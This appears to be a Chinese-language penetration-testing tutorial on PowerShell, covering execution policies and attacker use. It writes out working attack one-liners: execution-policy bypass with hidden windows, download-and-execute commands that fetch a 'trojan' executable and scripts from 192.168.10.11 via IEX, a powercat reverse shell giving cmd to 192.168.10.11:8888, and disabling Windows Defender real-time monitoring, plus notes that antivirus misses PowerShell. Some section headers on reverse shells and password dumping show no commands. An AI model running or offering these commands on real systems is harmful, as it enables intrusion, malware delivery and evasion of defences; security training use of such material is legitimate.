PowerShell使用
目錄
Windows PowerShell
PowerShell的執行策略
繞過執行策略執行PowerShell腳本
PowerShell的常用文件類命令
PowerShell遠程下載文件并執行
滲透測試常用的PowerShell命令
Powershell導入文件?
Windows PowerShell
Windows PowerShell是一種命令行外殼程序和腳本環境,它內置在Windows7及其以上的系統中,使命令行用戶和腳本編寫者可以利用.NET Framework的強大功能。PowerShell無須寫到磁盤中,它可以直接在內存中運行。
各操作系統的PowerShell版本
| Windows7、Windows Server2008 | 2.0 |
| Windows8、Windows Server2012 | 3.0 |
| Windows8.1、Windows Server2012 R2 | 4.0 |
| Windows10、Windows Server2016 | 5.0 |
一個PowerShell腳本其實就是一個簡單的文本文件,這個文件包含了一系列的PowerShell命令,每個命令顯示為獨立的一行,PowerShell文件的后綴為.ps1。
在64位的Windows操作系統中,存在兩個版本的PowerShell,一個是x64版本的,一個是x86版本的。這兩個版本的執行策略不會互相影響,可以把它們看成是兩個獨立的程序。x64版本PowerShell的配置文件在? ?C:\Windows\SysWOW64\WindowsPowerShell\v1.0 目錄下。
PowerShell的優點
- Windows7以上的操作系統默認安裝
- PowerShell無須寫到磁盤中,它可以直接在內存中運行。
- 可以從另外一個系統中下載PowerShell腳本并執行
- 很多殺毒軟件檢測不到PowerShell的活動
- cmd通常會被殺毒軟件阻止運行,而PowerShell不會
- PowerShell可以用來管理活動目錄
查看PowerShell版本
PowerShell的簡單使用
可以執行 ctrl+R ,輸入PowerShell 調出PowerShell,也可以在cmd下輸入powershell進入,還可以在cmd下輸入powershell命令,但是在每條命令之前加上powershell help查看PowerShell的幫助。
PowerShell的執行策略
為防止惡意腳本的執行,PowerShell有一個執行策略,默認情況下,這個執行策略被設置為受限。
我們可以使用:Get-ExecutionPolicy? 命令查看PowerShell當前的執行策略。它有4個策略。
- Restricted:腳本不能運行(默認設置)
- RemoteSigned:本地創建的腳本可以運行,但是從網上下載的腳本不能運行(擁有數字證書簽名的除外)
- AllSigned:僅當腳本由受信任的發布者簽名時才能運行
- Unrestricted:允許所有的腳本執行
可以看到,我們PowerShell腳本當前的執行策略是 AllSigned。
修改PowerShell執行策略:
Set-ExecutionPolicy 策略名 #該命令需要管理員權限運行繞過執行策略執行PowerShell腳本
在滲透測試時,需要采用一些方法繞過策略來執行PowerShell腳本:
下載遠程PowerShell腳本繞過權限執行
經過測試,在cmd窗口執行遠程下載的powershell腳本,不論當前策略,都可以直接運行。而powershell窗口不行。
繞過本地權限執行
上傳test.ps1到目標主機,在cmd環境下,在目標主機本地當前目錄執行該腳本
powershell -exec bypass .\test.ps1本地隱藏繞過權限執行腳本
powershell.exe -exec bypass -W hidden -nop test.ps1- ExecvtionPolicy Bypass(-exec bypass):繞過執行安全策略,這個參數非常重要,在默認情況下,PowerShell的安全策略規定了PoweShell不允許運行命令和文件。通過設置這個參數,可以繞過任意一個安全保護規則
- WindowStyle Hidden(-w hidden):隱藏窗口,也就是執行完命令后,窗口隱藏
- -command(-c):執行powershell腳本
- NoProfile(-nop):PowerShell控制臺不加載當前用戶的配置文件
- NoLogo:啟動不顯示版權標志的PowerShell
- Nonlnteractive(-noni):非交互模式
- Noexit:執行后不退出shell,這在使用鍵盤記錄等腳本時非常重要?
- -enc??base64:?把ps腳本編碼成base64來執行,實戰用的最多
PowerShell的常用文件類命令
在PowerShell下,命令的命名規范很一致,都采用了動詞-名詞的形式,如Net-Item,動詞一般為Add、New、Get、Remove、Set等。PoerShell還兼容cmd和Linux命令,如查看目錄可以使用 dir 或者 ls 。
文件操作類的PowerShell命令
PowerShell遠程下載文件并執行
cmd窗口下載文件
管理員權限才可以下載到C盤目錄下,普通權限不能下在到C盤下。DownloadFile函數必須提供兩個參數
cmd窗口下載文件并執行(exe)
遠程下載木馬文件并執行
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.execmd窗口下載文件并執行(powershell腳本)?
遠程下載?test.ps1?腳本,直接執行,該命令可以繞過powershell的執行策略。
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')遠程下載 powercat.ps1 腳本,并帶參數運行,該命令可以繞過powershell的執行策略
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd滲透測試常用的PowerShell命令
關閉Windows自帶的Defender防火墻(需要管理員權限)
powershell Set-MpPreference -disablerealtimeMonitoring $true在cmd窗口下執行,將遠程主機上的test.exe 下載到本地的D盤下
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');cmd窗口下利用Powershell反彈NC shell??
cmd窗口下利用Powershell反彈CobaltStrike shell?
cmd窗口下利用Powershell反彈MSF shell?
遠程加載PowerShell腳本讀取明文密碼
需要管理員權限
?遠程加載PowerShell腳本讀取密碼hash值
需要管理員權限
Powershell導入文件?
在大型的Powershell項目下,通常會有 .ps1 、.psd1?和 .psm1?幾種后綴的文件。如PowerSploit工具
下面說下這幾種后綴文件的用法。
- .ps1 文件就是PowerShell腳本文件,該文件內容就是powershell語法
- .psd1?文件是這個模塊的介紹
- .psm1?是模塊文件
對于 .psm1?和?psd1 文件,可以使用以下命令進行導入
然后輸入命令:Get-Command -Module PowerSploit 查看導入的模塊都有哪些功能
對于.ps1文件,既可以使用 ?Import-Module?也可以使用 .?進行導入
注:以上所有的命令都建議在cmd窗口執行!!
參考書籍:《Web安全攻防-滲透測試實戰指南》
相關文章:PowerSploit收集域信息
? ? ? ? ? ? ? ? ??一些值得收藏的PowerShell工具
總結
以上是生活随笔為你收集整理的PowerShell使用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: PowerShell渗透工具Nishan
- 下一篇: PowerSploit脚本